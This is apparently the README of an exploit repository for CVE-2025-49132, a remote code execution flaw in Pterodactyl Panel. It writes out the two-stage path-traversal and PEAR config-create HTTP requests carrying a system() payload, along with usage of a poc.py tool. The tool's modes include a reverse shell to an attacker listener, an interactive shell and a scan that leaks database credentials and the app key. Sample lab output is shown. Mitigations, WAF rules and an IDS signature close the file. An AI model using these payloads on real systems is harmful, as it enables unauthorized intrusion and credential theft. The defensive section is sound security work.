
CVE-2025-49132_PHP_PEAR_METHOD
Этот репозиторий содержит доказательство концепции (PoC) эксплуатации CVE-2025-49132 — критической уязвимости, позволяющей неаутентифицированному злоумышленнику удаленно выполнять код в Pterodactyl Panel версий до 1.11.11.
Pterodactyl Panel — это бесплатная панель управления игровыми серверами с открытым исходным кодом, написанная на PHP. Уязвимость позволяет неаутентифицированному злоумышленнику выполнять произвольные системные команды на целевом сервере из-за некорректной обработки конечной точки в сочетании с функциональностью из PHP PEAR.
/locales/locale.jsonpearcmd.phpPHP PEAR (PHP Extension and Application Repository) — это фреймворк и система распространения повторно используемых компонентов PHP. Он предоставляет инструмент командной строки (pearcmd.php), который может использоваться для управления пакетами PEAR.
Файл pearcmd.php обрабатывает команды через параметры URL, и в сочетании с обходом пути (path traversal) его можно использовать для:
Уязвимость существует из-за:
locale в /locales/locale.json допускает обход пути без надлежащей проверкиpearcmd.php принимает команду +config-create, которая может записывать произвольные PHP-файлыЗлоумышленник может:
config-create для записи вредоносного PHP-кода в /tmpЭксплойт работает в два этапа:
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com
Разбор:
+config-create+/ - Вызывает функцию создания конфигурации PEARlocale=../../../../../../usr/share/php/PEAR - Обход пути к каталогу PEARnamespace=pearcmd - Нацеливается на файл pearcmd.php<?=system('id')?>+/tmp/payload.php - PHP-нагрузка и целевой файлGET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com
Разбор:
locale=../../../../../../tmp - Обход пути к каталогу /tmpnamespace=payload - Включает и выполняет payload.phpЭксплойт требует отправки специальных символов (<, >, ?, =) в URL без их кодирования. Если эти символы URL-закодированы:
<?=system('id')?> становится %3C%3F%3Dsystem%28%27id%27%29%3F%3Egraph TD
A[Attacker] -->|1. Path Traversal Request| B[locale.json]
B -->|2. Traverse to PEAR| C[pearcmd.php]
C -->|3. config-create Command| D[Write PHP Payload]
D -->|4. Create File| E[payload.php]
E -->|5. File Created| F[Server Filesystem]
A -->|6. Execution Request| G[locale.json]
G -->|7. Traverse to tmp| E
E -->|8. Include and Execute| H[PHP Interpreter]
H -->|9. System Command| I[Shell Command]
I -->|10. Command Output| A
style A fill:#ff6b6b
style B fill:#4ecdc4
style C fill:#ffe66d
style E fill:#ff6b6b
style H fill:#ff6b6b
style I fill:#ff6b6bsequenceDiagram
participant Attacker
participant Web Server
participant PEAR
participant Filesystem
participant PHP Engine
Attacker->>Web Server: GET locale.json with config-create
Web Server->>PEAR: Path Traversal to pearcmd
PEAR->>Filesystem: Create payload.php
Filesystem-->>Attacker: 200 OK
Attacker->>Web Server: GET locale.json with payload namespace
Web Server->>Filesystem: Path Traversal to payload.php
Filesystem->>PHP Engine: Include payload
PHP Engine->>PHP Engine: Execute system command
PHP Engine-->>Attacker: Command Output RCErequestsgit clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD
pip3 install -r requirements.txt
Или вручную:
pip3 install requests
python3 poc.py -H <target_host> -c "<command>"
# На машине атакующего запустите слушатель
nc -lvnp 4444
# Выполните эксплойт с обратной оболочкой
python3 poc.py -H <target_host> -r <your_ip>:4444
python3 poc.py -H <target_host> --shell
python3 poc.py -H <target_host> --fuzz
python3 poc.py -H <target_host> --scan
Проверяет CVE-2025-49132 через утечки конфигурации (учетные данные базы данных, ключ приложения).
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"
python3 poc.py -H <target_host> -c "id" -v
Показывает детальный прогресс (создание нагрузки, путь PEAR, статус выполнения).
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
[-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]
опциональные аргументы:
-h, --help показать это справочное сообщение и выйти
-H HOST, --host HOST Целевой хост (например, 192.168.1.100 или example.com)
-c COMMAND Команда для выполнения на целевой системе
-r REVERSE_SHELL Обратная оболочка (формат: LHOST:LPORT)
--shell Режим интерактивной псевдо-оболочки
--fuzz Фаззинг путей установки PEAR
--scan Сканирование цели на уязвимость (утечки конфигурации)
-p PEAR_PATH Пользовательский путь PEAR (по умолчанию: /usr/share/php/PEAR)
-e ENDPOINT Уязвимая конечная точка (по умолчанию: /locales/locale.json)
--ssl Использовать HTTPS
--timeout TIMEOUT Таймаут запроса в секундах (по умолчанию: 10)
-v, --verbose Подробный вывод прогресса
$ python3 poc.py -H panel.pterodactyl.htb -c "id"
[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR
[+] Вывод команды:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Используйте -v для подробного вывода (детали нагрузки, путь PEAR и т.д.).
# Терминал 1: Запустите слушатель
$ nc -lvnp 4444
listening on [any] 4444 ...
# Терминал 2: Выполните эксплойт
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[!] Убедитесь, что ваш слушатель запущен: nc -lvnp 4444
# Терминал 1: Получение подключения
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$
$ python3 poc.py -H panel.pterodactyl.htb --shell
shell> whoami
www-data
shell> pwd
/var/www/pterodactyl
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
$ python3 poc.py -H panel.pterodactyl.htb --fuzz
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[+] Найдено 3 потенциальных установки PEAR:
/usr/share/php/PEAR
/usr/share/pear
/usr/local/lib/php/PEAR
[*] Используйте флаг -p с одним из этих путей для эксплуатации
Используйте -v, чтобы видеть прогресс фаззинга по каждому пути.
$ python3 poc.py -H panel.pterodactyl.htb --scan
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[*] Сканирование: http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] УЯЗВИМО - Утекли учетные данные базы данных
Хост: 127.0.0.1
Порт: 3306
База: panel
Пользователь: pterodactyl
Пароль: ********
Подключение: pterodactyl:********@127.0.0.1:3306/panel
[+] УЯЗВИМО - Утекли настройки приложения
Ключ приложения: base64{...}
[!] ПРЕДУПРЕЖДЕНИЕ БЕЗОПАСНОСТИ: APP_KEY раскрыт!
-------------------------------------------------------
[+] Цель УЯЗВИМА к CVE-2025-49132
Обновите Pterodactyl Panel
cd /var/www/pterodactyl
php artisan p:upgrade
Обновитесь до версии 1.11.11 или новее.
Отключите уязвимую конечную точку (Временное решение)
Добавьте в конфигурацию вашего веб-сервера:
Apache (.htaccess):
<Files "locale.json">
Order Allow,Deny
Deny from all
</Files>
Nginx:
location ~* /locales/locale\.json {
deny all;
return 403;
}
Примечание: Это нарушит работу функций локализации.
Межсетевой экран веб-приложений (WAF)
Внедрите правила WAF для блокировки попыток обхода пути:
SecRule REQUEST_URI "@contains ../" "id:1000,phase:1,deny,status:403"
SecRule ARGS "@contains ../" "id:1001,phase:2,deny,status:403"
locale и namespacerealpath() для разрешения и проверки путей к файламАнализ логов - Ищите подозрительные закономерности:
# Логи доступа Apache/Nginx
grep "locale.json" /var/log/apache2/access.log | grep "\.\."
grep "pearcmd" /var/log/apache2/access.log
grep "config-create" /var/log/apache2/access.log
# Ищите файлы нагрузки
find /tmp -name "payload.php" -o -name "*.php" -mtime -1
Сигнатуры IDS/IPS:
alert http any any -> any any (msg:"CVE-2025-49132 PEAR RCE Attempt";
content:"/locales/locale.json"; http_uri;
content:"pearcmd"; http_uri;
content:"config-create"; http_uri;
sid:1000001; rev:1;)
ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ЦЕЛЕЙ ТЕСТИРОВАНИЯ
Эта доказательство концепции эксплуатации предоставляется исключительно для образовательных целей и авторизованного тестирования безопасности. Автор не несет ответственности за неправомерное использование или ущерб, причиненный данной программой.
Несанкционированный доступ к компьютерным системам незаконен. Пользователи несут ответственность за соблюдение применимых законов и нормативных актов.
xffsec
| Контакт |
|---|
| GitHub: @xffsec |
| Email: [email protected] |
Этот проект лицензирован на условиях лицензии MIT — подробности см. в файле LICENSE.
Приветствуются вклады, вопросы и запросы новых функций! Не стесняйтесь открывать issue или отправлять pull request.
⚠️ Помните: Всегда практикуйте ответственное раскрытие и никогда не эксплуатируйте уязвимости без надлежащего разрешения.